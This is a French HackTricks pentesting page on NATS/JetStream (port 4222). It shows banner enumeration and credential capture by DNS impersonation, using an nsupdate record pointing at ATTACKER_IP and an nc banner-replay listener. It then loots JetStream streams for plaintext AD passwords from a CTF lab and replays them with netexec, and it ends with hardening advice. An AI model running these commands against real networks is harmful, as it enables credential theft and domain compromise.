4222 - Pentesting NATS / JetStream
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
NATS est un message bus haute performance qui utilise un protocole textuel simple : le serveur transmet immédiatement après la connexion TCP une bannière JSON INFO { ... }, et le client répond par un frame CONNECT {"user":"USERNAME","pass":"PASSWORD",...} suivi éventuellement de commandes PING/PUB/SUB. JetStream ajoute des primitives de persistance (Streams & Consumers) sur le même port TCP (4222/tcp). TLS et l’authentification sont optionnelles, donc de nombreux déploiements internes fonctionnent en plaintext AUTH.
- Port par défaut : 4222/tcp (4223+ pour les routes en cluster)
- Champs de bannière par défaut :
"version","auth_required","jetstream","max_payload","tls_required"
Énumération
Banner grabbing / sondes de service
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
La trame INFO peut aussi être récupérée manuellement :
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
Installez le CLI officiel (Go ≥1.21) pour une interaction plus approfondie:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
Les échecs d’authentification déclenchent immédiatement nats: Authorization Violation, donc des creds valides sont nécessaires pour toute RPC significative.
Credential capture via DNS/service impersonation
- Identifiez les enregistrements AD DNS obsolètes pour le hostname du broker (p. ex.
nats-svc.domain.local). Si l’enregistrement renvoieNXDOMAIN, un utilisateur de domaine à faibles privilèges peut le recréer grâce aux dynamic-update ACLs par défaut. Voir AD DNS Records abuse pour le contexte. - Enregistrez le hostname vers une IP contrôlée par l’attaquant:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- Dupliquez la banner légitime une fois, puis rejouez-la à chaque client qui se connecte. NATS fait confiance à la première ligne
INFOqu’il voit, donc il suffit de la faire transiter via un listener :
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- Dès qu’un client interne résout le nom usurpé, il émettra un frame
CONNECTen clair contenant la paireuser/passet diverses télémétries (client name, Go version, protocol level). Parce que rien au‑delà du INFO banner n’est requis, mêmencsuffit pour récolter les secrets. - Pour des engagements plus longs, lancez le serveur officiel localement (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging affiche déjà les usernames ; supprimer le redaction helper ou sniffer le trafic avec Wireshark révèle le mot de passe complet.
JetStream looting & password hunting
Une fois qu’un identifiant est récupéré (p.ex. Dev_Account_A), enregistrez‑le comme contexte CLI pour éviter de le retaper:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
La découverte de JetStream suit généralement ce schéma :
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Les équipes de streaming enregistrent fréquemment les événements d’authentification dans des sujets tels que logs.auth. Si les développeurs conservent le JSON brut dans un stream JetStream, les payloads peuvent inclure des noms d’utilisateur et mots de passe AD en clair :
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Les secrets retenus peuvent ensuite être rejoués contre des services Kerberos uniquement en utilisant netexec smb DC01 -u USER -p PASS -k, permettant une compromission complète du domaine.
Durcissement & détection
- Exiger TLS (
tls,tls_required, or mTLS viankey/creds). Sans chiffrement, INFO/CONNECT leaks credentials to anyone on-path. - Identifier qui peut mettre à jour le DNS – déléguez les enregistrements de service à des comptes dédiés et auditez les Event IDs 257/252 pour les hostnames de grande valeur. Combinez avec des scavenging alerts afin que les broker names manquants ne puissent pas être re-claimed silencieusement.
- Désactiver la journalisation des credentials. Nettoyez les secrets avant de les publier sur des subjects, définissez des limites de rétention/âge JetStream, et n’appliquez
deny_delete=falsequ’aux opérateurs de confiance. - Surveiller les anomalies de banner – connexions répétées et de courte durée, timeouts d’authentification, ou INFO banners qui ne correspondent pas au template approuvé suggèrent des serveurs spoofed.
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

